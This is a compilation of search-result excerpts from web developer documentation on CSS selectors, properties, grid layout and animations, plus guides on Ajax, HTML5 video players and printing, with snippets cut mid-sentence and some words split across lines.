...grayscale is enabled when the color filters button is toggled "on" see also accessibilty accessibility learning path web accessibility for seizures and physical reactions color blindness discussion: "what is the “grayscale” setting for in accessibility options?" contributors many, many thanks to eric eggert
from knowbility; for his discussions and huge help on this topic.
::slotted() - CSS: Cascading Style Sheets
'='<attr-modifier> = i | s examples highlighting slotted elements the following snippets are taken
from our slotted-pseudo-element demo (see it live also).
... browser compatibility the compatibility table on this page is generated
from structured data.
...firefox for androidopera for androidsafari on iossamsung internet::slottedchrome full support 50edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
... full support 10webview android full support 50chrome android full support 50firefox android full support 63 full support 63 no support 59 — 63disabled disabled
from version 59 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
:host() - CSS: Cascading Style Sheets
the :host() css pseudo-class function selects the shadow host of the shadow dom containing the css it is used inside (so you can select a custom element
from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host.
...'='<attr-modifier> = i | s examples selectively styling shadow hosts the following snippets are taken
from our host-selectors example (see it live also).
...idfirefox for androidopera for androidsafari on iossamsung internet:host()chrome full support 54edge full support 79firefox full support 63 full support 63 no support 61 — 63disabled disabled
from version 61 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
...d styling slotted content (::slotted) is buggy.webview android full support 54chrome android full support 54firefox android full support 63 full support 63 no support 61 — 63disabled disabled
from version 61 until version 63 (exclusive): this feature is behind the dom.webcomponents.shadowdom.enabled preference (needs to be set to true).
:host-context() - CSS: Cascading Style Sheets
the :host-context() css pseudo-class function selects the shadow host of the shadow dom containing the css it is used inside (so you can select a custom element
from inside its shadow dom) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the dom hierarchy.
... /* selects a shadow root host, only if it is a descendant of the selector argument given */ :host-context(h1) { font-weight: bold; } :host-context(main article) { font-weight: bold; } /* changes paragraph text color
from black to white when a .dark-theme class is applied to the document body */ p { color: #000; } :host-context(body.dark-theme) p { color: #fff; } syntax :host-context( <compound-selector-list> )where <compound-selector-list> = <compound-selector>#where <compound-selector> = [ <type-selector>?
...'='<attr-modifier> = i | s examples selectively styling shadow hosts the following snippets are taken
from our host-selectors example (see it live also).
... browser compatibility the compatibility table on this page is generated
from structured data.
:target - CSS: Cascading Style Sheets
the :target css pseudo-class represents a unique element (the target element) with an id matching the url's
fragment.
... /* selects an element with an id matching the current url's
fragment */ :target { border: 2px solid black; } for example, the following url has a
fragment (denoted by the # sign) that points to an element called section2: http://www.example.com/index.html#section2 the following element would be selected by a :target selector when the current url is equal to the above: <section id="section2">example</section> syntax :target examples a table of contents the :target pseudo-class can be used to highlight the portion of a page that has been linked to
from a table of contents.
... html <h3>table of contents</h3> <ol> <li><a href="#p1">jump to the first paragraph!</a></li> <li><a href="#p2">jump to the second paragraph!</a></li> <li><a href="#nowhere">this link goes nowhere, because the target doesn't exist.</a></li> </ol> <h3>my fun article</h3> <p id="p1">you can target <i>this paragraph</i> using a url
fragment.
... click on the link above to try out!</p> <p id="p2">this is <i>another paragraph</i>, also accessible
from the links above.
:where() - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated
from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:where()chrome full support 72disabled full support 72disabled disabled
from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
... to change preferences in chrome, visit chrome://flags.edge no support nofirefox full support 78 full support 78 full support 77notes disabled notes enabled by default in firefox nightly.disabled
from version 77: this feature is behind the layout.css.is-where-selectors.enabled preference (needs to be set to enabled).
...rt noopera no support nosafari no support nowebview android no support nochrome android full support 72disabled full support 72disabled disabled
from version 72: this feature is behind the #enable-experimental-web-platform-features preference (needs to be set to enabled).
system - CSS: Cascading Style Sheets
if a counter style rule is using the extends system, any unspecified descriptors, and their values will be taken
from the extended counter style specified.
... if the specified counter style name in extends, is not a currently defined counter style name, it will instead extend
from the decimal counter style.
...if one more more counter styles defenitions form a cycle with their extends values, the browser will treat all the participating counter styles as extending
from the decimal style.
..."; } ul { list-style: abc; } result numeric counter with numeric symbols as shown in the following example, if digits
from 0 to 9 are specified as symbols, this counter style will render symbols same as the decimal counter style.
aspect-ratio - CSS: Cascading Style Sheets
examples the example below is contained in an <i
frame>, which creates its own viewport.
... resize the <i
frame> to see aspect-ratio in action.
...</div> css /* minimum aspect ratio */ @media (min-aspect-ratio: 8/5) { div { background: #9af; /* blue */ } } /* maximum aspect ratio */ @media (max-aspect-ratio: 3/2) { div { background: #9ff; /* cyan */ } } /* exact aspect ratio, put it at the bottom to avoid override*/ @media (aspect-ratio: 1/1) { div { background: #f9a; /* red */ } } _example used i
frame and dataurl to enable this i
frame could resize html <label id="wf" for="w">width:165</label> <input id="w" name="w" type="range" min="100" max="250" step="5" value="165"> <label id="hf" for="w">height:165</label> <input id="h" name="h" type="range" min="100" max="250" step="5" value="165"> <i
frame id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239...
...af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </i
frame> css i
frame{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in that specification.
@media - CSS: Cascading Style Sheets
monochrome bits per pixel in the output device's monochrome
frame buffer, or zero if the device isn't monochrome orientation orientation of the viewport overflow-block how does the output device handle content that overflows the viewport along the block axis?
... update how
frequently the output device can modify the appearance of content added in media queries level 4.
... because of this potential, a browser may opt to fudge the returned values in some manner in order to prevent them
from being used to precisely identify a computer.
... reinstates light-level, inverted-colors and custom media queries, which were removed
from level 4.
Color picker tool - CSS: Cascading Style Sheets
colorsample.prototype.deactivate = function deactivate() { this.node.removeattribute('data-active'); }; colorsample.prototype.dragstart = function dragstart(e) { e.datatransfer.setdata('sampleid', this.uid); e.datatransfer.setdata('location', 'picker-samples'); }; colorsample.prototype.dragdrop = function dragdrop(e) { e.stoppropagation(); this.color = tool.getsamplecolor
from(e); this.updatebgcolor(); }; colorsample.prototype.deletesample = function deletesample() { container.removechild(this.node); samples[this.uid] = null; nr_samples--; }; var updateui = function updateui() { updatecontainerprop(); var index = 0; var nr = samples.length; for (var i=0; i < nr; i++) if (samples[i] !== null) { samples[i].updateposition(inde...
... { if (active === this) unsetactivesample(); canvas.removechild(this.node); samples[this.uid] = null; }; canvassample.prototype.updateposition = function updateposition(posx, posy) { this.node.style.top = posy - this.starty + 'px'; this.node.style.left = posx - this.startx + 'px'; }; var canvasdropevent = function canvasdropevent(e) { var color = tool.getsamplecolor
from(e); if (color) { var offsetx = e.pagex - canvas.offsetleft; var offsety = e.pagey - canvas.offsettop; var sample = new canvassample(color, offsetx, offsety); if (tutorial) { tutorial = false; canvas.removeattribute('data-tutorial'); var info = new canvassample(new color(), 100, 100); info.node.setattribute('data-tutorial', 'dblclick'); } } }; ...
...yselector('#picker .picking-area'); preview.setattribute('draggable', 'true'); preview.addeventlistener('drop', drop); preview.addeventlistener('dragstart', dragstart); preview.addeventlistener('dragover', allowdropevent); picking_area.addeventlistener('drop', drop); picking_area.addeventlistener('dragover', allowdropevent); function drop(e) { var color = getsamplecolor
from(e); uicolorpicker.setcolor('picker', color); }; function dragstart(e) { e.datatransfer.setdata('sampleid', 'picker'); e.datatransfer.setdata('location', 'picker'); }; }; var getsamplecolor
from = function getsamplecolor
from(e) { var sampleid = e.datatransfer.getdata('sampleid'); var location = e.datatransfer.getdata('location'); if (location === 'picker') ...
...sample = function unsetvoidsample() { void_sw.unset(); }; var init = function init() { controls = getelembyid('controls'); var color = new color(); color.sethsl(0, 51, 51); uicolorpicker.setcolor('picker', color); setpickerdraganddrop(); createpickermodeswitch(); setvoidswitch(); }; return { init : init, unsetvoidsample : unsetvoidsample, getsamplecolor
from : getsamplecolor
from }; })(); var init = function init() { uicolorpicker.init(); inputslidermanager.init(); colorinfo.init(); colorpalette.init(); colorpickersamples.init(); canvassamples.init(); tool.init(); }; return { init : init }; })(); this tool makes it easy to create, adjust, and experiment with custom colors for the web.
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
this article details many of the ways that grid layout differs
from flex layout, and demonstrates some of the extra functionality you get when using grid layout such as layering of items on the grid.
... by adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared
from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container.
... note that this only removes the box
from the layout; the sub-children don’t become direct children in any other way.
... warning: current implementations in most browsers will remove any element with display: contents
from the accessibility tree (but descendants will remain).
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
as with any
front-end technology choice, the decision to use css grid layout will come down to the browsers your site visitors are typically using.
... the float no longer applies, and i can use the css box alignment property align-self to align my content to the end of the container: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1
fr 2
fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div class="image"><img src="https://udn.realityripple.com/samples/89/f993f273dd.png" alt="place...
...order-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { float: left; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } @supports (display: grid) { .wrapper ul { display: grid; grid-template-columns: repeat(3, 1
fr); grid-gap: 20px; margin: 0; } .wrapper li { width: auto; min-height: auto; margin: 0; } } <div class="wrapper"> <ul> <li class="card"><h2>one</h2> <p>we can use css grid to overwrite older methods.</p> </li> <li class="card"><h2>two</h2> <p>we can use css grid to overwrite older methods.</p>...
...5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { margin: 0 -10px; padding: 0; list-style: none; } .wrapper li { display: inline-block; vertical-align: top; width: calc(33.333333% - 20px); margin: 0 10px 20px 10px; } @supports (display: grid) { .wrapper ul { display: grid; grid-template-columns: repeat(3, 1
fr); grid-gap: 20px; margin: 0; } .wrapper li { width: auto; margin: 0; } } <div class="wrapper"> <ul> <li class="card"> <h2>one</h2> <p>we can use css grid to overwrite older methods.</p> </li> <li class="card"> <h2>two</h2> <p>we can use css grid to overwrite older methods.</p>...
Layout and the containing block - CSS: Cascading Style Sheets
percentage values that are applied to the width, height, padding, margin, and offset properties of an absolutely positioned element (i.e., which has its position set to absolute or fixed) are computed
from the element's containing block.
... calculating percentage values
from the containing block as noted above, when certain properties are given a percentage value, the computed value depends on the element's containing block.
... the properties that work this way are box model properties and offset properties: the height, top, and bottom properties compute percentage values
from the height of the containing block.
... the width, left, right, padding, and margin properties compute percentage values
from the width of the containing block.
CSS reference - CSS: Cascading Style Sheets
keyword index note: the property names in this index do not include the javascript names where they differ
from the css standard names.
...verridefont-optical-sizingfont-sizefont-size-adjustfont-stretchfont-stretch (@font-face)font-stylefont-style (@font-face)font-synthesisfont-variantfont-variant (@font-face)font-variant-alternatesfont-variant-capsfont-variant-east-asianfont-variant-ligaturesfont-variant-numericfont-variant-positionfont-variation-settingsfont-variation-settings (@font-face)font-weightfont-weight (@font-face)format()
fr<
frequency><
frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-startgrid-rowgrid-row-endgrid-row-startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()...
...image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-startinset-inlineinset-inline-endinset-inline-start<integer>:invalidinvert()isolationjjustify-contentjustify-itemsjustify-selfkkhz@key
framesl:lang:last-child:last-of-typeleader():leftleft@left-bottom<length><length-percentage>letter-spacingline-breakline-heightlinear-gradient():linklist-stylelist-style-imagelist-style-positionlist-style-typelocal()mmarginmargin-blockmargin-block-endmargin-block-startmargin-bottommargin-inlinemargin-inline-endmargin-inline-startmargin-leftmargin-rightmargin-top::markermarks (@page)maskmask-bordermask-border-modemask-border-outsetmask-border-repeatmask-border-slicemask-border-sourcemask-border-widthmask-clipmask-...
... basic selectors basic selectors are fundamental selectors; these are the most basic selectors that are
frequently combined to create other, more complex selectors.
Specificity - CSS: Cascading Style Sheets
as per css rules, directly targeted elements will always take precedence over rules which an element inherits
from its ancestor.
... some rules of thumb: always look for a way to use specificity before even considering !important only use !important on page-specific css that overrides foreign css (
from external libraries, like bootstrap or normalize.css).
... <div class="foo" style="color: red;">what color am i?</div> .foo[style*="color: red"] { color: firebrick !important; } many javascript
frameworks and libraries add inline styles.
...will also render as: this is because the h1 selector targets the element specifically, but the green selector is only inherited
from its parent.
animation-fill-mode - CSS: Cascading Style Sheets
forwards the target will retain the computed values set by the last key
frame encountered during execution.
... the last key
frame depends on the value of animation-direction and animation-iteration-count: animation-direction animation-iteration-count last key
frame encountered normal even or odd 100% or to reverse even or odd 0% or
from alternate even 0% or
from alternate odd 100% or to alternate-reverse even 100% or to alternate-reverse odd 0% or
from backwards the animation will apply the values defined in the first relevant key
frame as soon as it is applied to the target, and retain this during the animation-delay period.
... the first relevant key
frame depends on the value of animation-direction: animation-direction first relevant key
frame normal or alternate 0% or
from reverse or alternate-reverse 100% or to both the animation will follow the rules for both forwards and backwards, thus extending the animation properties in both directions.
... html <p>move your mouse over the gray box!</p> <div class="demo"> <div class="growsandstays">this grows and stays big.</div> <div class="grows">this just grows.</div> </div> css .demo { border-top: 100px solid #ccc; height: 300px; } @key
frames grow { 0% { font-size: 0; } 100% { font-size: 40px; } } .demo:hover .grows { animation-name: grow; animation-duration: 3s; } .demo:hover .growsandstays { animation-name: grow; animation-duration: 3s; animation-fill-mode: forwards; } see css animations for more examples.
animation-name - CSS: Cascading Style Sheets
the animation-name css property specifies the names of one or more @key
frames at-rules describing the animation or animations to apply to the element.
... syntax /* single animation */ animation-name: none; animation-name: test_05; animation-name: -specific; animation-name: sliding-vertically; /* multiple animations */ animation-name: test1, animation4; animation-name: none, -moz-specific, sliding; /* global values */ animation-name: initial animation-name: inherit animation-name: unset values none a special keyword denoting no key
frames.
... it can be used to deactivate an animation without changing the ordering of the other identifiers, or to deactivate animations coming
from the cascade.
... formal definition initial valuenoneapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none | <key
frames-name> ]#where <key
frames-name> = <custom-ident> | <string> examples see css animations for examples.
aspect-ratio - CSS: Cascading Style Sheets
in firefox, the internal stylesheet rule looks like this: img, input[type="image"], video, embed, i
frame, marquee, object, table { aspect-ratio: attr(width) / attr(height); } specifications specification status comment css box sizing module level 4the definition of 'aspect-ratio' in that specification.
... editor's draft initial definition browser compatibility the compatibility table on this page is generated
from structured data.
... partial support 79notes notes edge 79 adds internal support only for mapped valuesfirefox partial support 71notes partial support 71notes notes firefox 71 adds internal support only for mapped values no support 69 — 71notes disabled notes firefox 69 adds internal support only for mapped valuesdisabled
from version 69 until version 71 (exclusive): this feature is behind the layout.css.width-and-height-map-to-aspect-ratio.enabled preference (needs to be set to true).
... nointernal mapping of width and height experimentalchrome full support 79edge full support 79firefox full support 71 full support 71 no support 69 — 71disabled disabled
from version 69 until version 71 (exclusive): this feature is behind the layout.css.width-and-height-map-to-aspect-ratio.enabled preference (needs to be set to true).
background-size - CSS: Cascading Style Sheets
if the proportions of the image differ
from the element, it is cropped either vertically or horizontally so that no empty space remains.
... browser compatibility the compatibility table in this page is generated
from structured data.
...opera 9.5 also interprets the two-value form as a horizontal scaling factor and,
from appearances, a vertical clipping dimension.
...opera 9.5 also interprets the two-value form as a horizontal scaling factor and,
from appearances, a vertical clipping dimension.
display - CSS: Cascading Style Sheets
due to a bug in browsers this will currently remove the element
from the accessibility tree — screen readers will not look at what's inside.
...thods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing common layouts using grids accessibility concerns display: none using a display value of none on an element will remove it
from the accessibility tree.
... if you want to visually hide the element, a more accessible alternative is to use a combination of properties to remove it visually
from the screen but keep it parseable by assistive technology such as screen readers.
... display: contents current implementations in most browsers will remove
from the accessibility tree any element with a display value of contents (but descendants will remain).
grid-template - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: grid-template-areas grid-template-columns grid-template-rows syntax /* keyword value */ grid-template: none; /* grid-template-rows / grid-template-columns values */ grid-template: 100px 1
fr / 50px 1
fr; grid-template: auto 1
fr / auto 1
fr auto; grid-template: [linename] 100px / [columnname1] 30% [columnname2] 70%; grid-template: fit-content(100px) / fit-content(40%); /* grid-template-areas grid-template-rows / grid-template-column values */ grid-template: "a a a" "b b b"; grid-template: "a a a" 20% "b b b" auto; grid-template: [header-top] "a a a" [h...
...eader-bottom] [main-top] "b b b" 1
fr [main-bottom] / auto 1
fr auto; /* global values */ grid-template: inherit; grid-template: initial; grid-template: unset; values none is a keyword that sets all three longhand properties to none, meaning there is no explicit grid.
...use grid (as opposed to grid-template) to prevent these values
from cascading in seperately.
...ength-percentage> | <flex> | min-content | max-content | auto<inflexible-breadth> = <length> | <percentage> | min-content | max-content | autowhere <length-percentage> = <length> | <percentage> examples defining a grid template css #page { display: grid; width: 100%; height: 200px; grid-template: [header-left] "head head" 30px [header-right] [main-left] "nav main" 1
fr [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1
fr; } header { background-color: lime; grid-area: head; } nav { background-color: lightblue; grid-area: nav; } main { background-color: yellow; grid-area: main; } footer { background-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>na...
<image> - CSS: Cascading Style Sheets
syntax the <image> data type can be represented with any of the following: an image denoted by the <url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image
fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function.
...if the image has no intrinsic aspect ratio, the intrinsic aspect ratio of the object it applies to is used; if this object has none, the missing width or height are taken
from the default object size.
... /* a <url>, as long as test.jpg is an actual image */ linear-gradient(blue, red) /* a <gradient> */ element(#realid) /* a part of the webpage, referenced with the element() function, if "realid" is an existing id on the page */ image(ltr 'arrow.png#xywh=0,0,16,16', red) /* a section 16x16 section of <url>, starting
from the top, left of the original image as long as arrow.png is a supported image, otherwise a solid red swatch.
...*/ image(z.jpg#xy=0,0) /* the spatial
fragment must be written in the format of xywh=#,#,#,# */ image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* every image in an image set must have a different resolutions */ specifications specification status comment css images module level 4the definition of '<image>' in that specification.
left - CSS: Cascading Style Sheets
for relatively positioned elements, the distance of the element
from its normal position is based on the right property; or if right is also auto, the element is not moved horizontally at all.
... inherit specifies that the value is the same as the computed value
from its parent element (which might not be its containing block).
...(the containing block is the ancestor to which the element is relatively positioned.) when position is set to relative, the left property specifies the distance the element's left edge is moved to the right
from its normal position.
...it positions itself in relation to it.</p> </div> <div id="example_2"> <pre> position: relative; top: 0; right: 0; </pre> <p>relative position in relation to its siblings.</p> </div> <div id="example_3"> <pre> float: right; position: relative; top: 20px; left: 20px; </pre> <p>relative to its sibling div above, but removed
from flow of content.</p> <div id="example_4"> <pre> position: absolute; bottom: 10px; right: 20px; </pre> <p>absolute position inside of a parent with relative position</p> </div> <div id="example_5"> <pre> position: absolute; right: 0; left: 0; top: 200px; </pre> <p>absolute position with both...
orphans - CSS: Cascading Style Sheets
(the paragraph continues on a following page.) syntax values <integer> the minimum number of lines that can stay by themselves at the bottom of a
fragment before a
fragmentation break.
...it has a little bit more text than the first one.</p> </div> css div { background-color: #8cffa0; height: 150px; columns: 3; orphans: 3; } p { background-color: #8ca0ff; } p:first-child { margin-top: 0; } result specifications specification status comment css
fragmentation module level 3the definition of 'orphans' in that specification.
... candidate recommendation extends orphans to apply to any type of
fragment, including pages, regions, or columns.
... browser compatibility the compatibility table on this page is generated
from structured data.
perspective - CSS: Cascading Style Sheets
<length> a <length> giving the distance
from the user to the z=0 plane.
... <table> <tbody> <tr> <th><code>perspective: 250px;</code> </th> <th><code>perspective: 350px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers250"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers350"> <div class="face
front">1</div> ...
...ft">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> </tr> <tr> <th><code>perspective: 500px;</code> </th> <th><code>perspective: 650px;</code> </th> </tr> <tr> <td> <div class="container"> <div class="cube pers500"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </div> </div> </td> <td> <div class="container"> <div class="cube pers650"> <div class="face
front">1</div> ...
...r: none; } .cube { width: 100%; height: 100%; backface-visibility: visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .
front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } .back { background: rgba(0, 255, 0, 1); color: black; transform: rotatey(180deg) translatez(50px); } .right { background: rgba(196, 0, 0, 0.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0, 0, 196, 0.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(196,...
pointer-events - CSS: Cascading Style Sheets
pointer-events: visible; /* svg only */ pointer-events: painted; /* svg only */ pointer-events: fill; /* svg only */ pointer-events: stroke; /* svg only */ pointer-events: all; /* svg only */ /* global values */ pointer-events: inherit; pointer-events: initial; pointer-events: unset; the pointer-events property is specified as a single keyword chosen
from the list of values below.
...in these circumstances, pointer events will trigger event listeners on this parent element as appropriate on their way to/
from the descendant during the event capture/bubble phases.
... note that preventing an element
from being the target of pointer events by using pointer-events does not necessarily mean that pointer event listeners on that element cannot or will not be triggered.
... browser compatibility the compatibility table on this page is generated
from structured data.
revert - CSS: Cascading Style Sheets
the revert css keyword reverts the cascaded value of the property
from its current value to the value the property would have had if no changes had been made by the current style origin to the current element.
... thus, it resets the property to its inherited value if it inherits
from its parent or to the default value established by the user agent's stylesheet (or by user styles, if any exist).
... this removes
from the cascade all of the styles that have been overridden until the style being rolled back to is reached.
... the revert keyword is different
from and should not be confused with initial, which uses the initial value defined on a per-property basis by the css specifications.
<transform-function> - CSS: Cascading Style Sheets
(in fact, all transformations that are linear functions can be described.) composite transformations are effectively applied in order
from right to left.
... examples transform function comparison the following example provides a 3d cube created
from dom elements and transforms, and a select menu allowing you to choose different transform functions to transform the cube with, so you can compare the effects of the different types.
... html <main> <section id="example-element"> <div class="face
front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> <div class="select-form"> <label>select a transform function</label> <select> <option selected>choose a function</option> <option>rotate(360deg)</option> <option>rotatex(360deg)</option> <option>rotatey(360deg)</option> <option>rotatez(3...
...near-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .
front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transf...
CSS: Cascading Style Sheets
from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective to develop and release recommendations separately per module.
... css tutorials our css learning area contains a wealth of tutorials to take you
from beginner level to proficiency, covering all the fundamentals.
... looking to become a
front-end web developer?
... get started tutorials our css learning area features multiple modules that teach css
from the ground up — no previous knowledge required.
Getting Started - Developer guides
ajax’s most appealing characteristic is its "asynchronous" nature, which means it can communicate with the server, exchange data, and update the page without having to re
fresh the page.
... the two major features of ajax allow you to do the following: make requests to the server without reloading the page receive and work with data
from the server step 1 – how to make an http request in order to make an http request to the server with javascript, you need an instance of an object with the necessary functionality.
... first we'll add a text box to our html so the user can enter their name: <label>your name: <input type="text" id="ajaxtextbox" /> </label> <span id="ajaxbutton" style="cursor: pointer; text-decoration: underline"> make a request </span> we'll also add a line to our event handler to get the user's data
from the text box and send it to the makerequest() function along with the url of our server-side script: document.getelementbyid("ajaxbutton").onclick = function() { var username = document.getelementbyid("ajaxtextbox").value; makerequest('test.php',username); }; we need to modify makerequest() to accept the user data and pass it along to the server.
... we'll change the request method
from get to post, and include our data as a parameter in the call to httprequest.send(): function makerequest(url, username) { ...
Ajax - Developer guides
server-sent events traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data
from the server.
... sending and receiving binary data the responsetype property of the xmlhttprequest object can be set to change the expected response type
from the server.
... parsing and serializing xml how to parse an xml document
from a string, a file or via javascript and how to serialize xml documents to strings, javascript object trees (jxon) or files.
...file objects may be obtained
from a filelist object returned as a result of a user selecting files using the <input> element,
from a drag and drop operation's datatransfer object, or
from the mozgetasfile() api on an htmlcanvaselement.
Adding captions and subtitles to HTML5 video - Developer guides
this example uses an excerpt
from the sintel open movie, created by the blender foundation.
... all we need to do is to go through the video's texttracks, reading their properties and building the menu up
from there: var subtitlesmenu; if (video.texttracks) { var df = document.createdocument
fragment(); var subtitlesmenu = df.appendchild(document.createelement('ul')); subtitlesmenu.classname = 'subtitles-menu'; subtitlesmenu.appendchild(createmenuitem('subtitles-off', '', 'off')); for (var i = 0; i < video.texttracks.length; i++) { subtitlesmenu.appendchild(createmenuitem('subtit...
...les-' + video.texttracks[i].language, video.texttracks[i].language, video.texttracks[i].label)); } videocontainer.appendchild(subtitlesmenu); } this code creates a document
fragment, which is used to hold an unordered list containing our subtitles menu.
... first of all an option is added to allow the user to switch all subtitles off, and then buttons are added for each text track, reading the language and label
from each one.
Video player styling basics - Developer guides
preliminary modifications
from the original example this section summarises the modifications that were made to the original video player example to make the styling task easier, before the bulk of the work was started.
... note: in some cases some basic css is omitted
from the code examples here as its use is either obvious or not specifically relevant to styling the video player.
... simple :hover and :focus states are then set for each button that simply alters the opacity of the button: .controls button:hover, .controls button:focus { opacity:0.5; } to obtain appropriate button images, a set of
free common control set icons was downloaded
from the web.
...this means that a user could play/pause the video
from these controls, which would then leave the custom control set's buttons out of sync.
Creating a cross-browser video player - Developer guides
working example our example video player displays a clip
from an open source movie called tears of steel, and includes typical video controls.
...fullscreen" value="true" /> <param name="wmode" value="transparent" /> <param name="flashvars" value="controlbar=over&image=img/poster.jpg&file=flash-player.swf?videourl=video/tears-of-steel-battle-clip-medium.mp4" /> <img alt="tears of steel poster image" src="img/poster.jpg" width="1024" height="428" title="no video playback possible, please download the video
from the link below" /> </object> <!-- offer download --> <a href="video/tears-of-steel-battle-clip-medium.mp4">download mp4</a> </video> <figcaption>© blender foundation | <a href="http://mango.blender.org">mango.blender.org</a></figcaption> </figure> even though this player will define its own custom control set, the controls attribute is still added to the <video> el...
... a poster image is defined for the video, and the preload attribute is set to metadata, which informs the browser that it should initially only attempt to load the metadata
from the video file rather than the entire video file.
...this is obtained
from the video's duration attribute, which again is part of the media api.
Challenge solutions - Developer guides
solution move the declaration for underlining
from the rule for <p> to the one for <strong>.
... solution add this rule to your stylesheet: p:before{ content: url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals
from i to v.
...then re
fresh your browser to see if you were correct.
... solution move the position of the :hover pseudo-class
from a specific petal, to all petals #inner-petals { --segment-fill-fill-hover: pink; } /* non-standard way for some older browsers */ #inner-petals:hover .segment-fill { fill: pink; stroke: none; } ...
Media events - Developer guides
event name description abort sent when playback is aborted; for example, if the media is playing and is restarted
from the beginning, this event is sent.
... canplay sent when enough data is available that the media can be played, at least for a couple of
frames.
... loadeddata the first
frame of the media has finished loading.
... playing sent when the media has enough data to start playing, after the play event, but also when recovering
from being stalled, when looping media restarts, and after seeked, if it was playing before seeking.
Separate sites for mobile and desktop - Developer guides
similarly, this increases the implementation time of any new site features, since you must now code two sets of
front-end logic.
...if the functionality you would like to provide to your users on mobile devices is extremely different
from that on a desktop, then using separate sites is simply likely to be the most practical choice.
...if you’d like to see the source code behind an example of this approach in action, feel
free to check out the github repository for amo or sumo.
... what is mobile-
friendliness?
Printing - Developer guides
open and automatically close a popup window when finished if you want to be able to automatically close a popup window (for example, the printer-
friendly version of a document) after the user prints its contents, you can use code like this: <!doctype html> <html> <head> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <title>javascript window close example </title> <script type="text/javascript"> function popuponclick() { my_window = window.open('', 'mywindow', 'status=1,width=350,height=150'); my_wi...
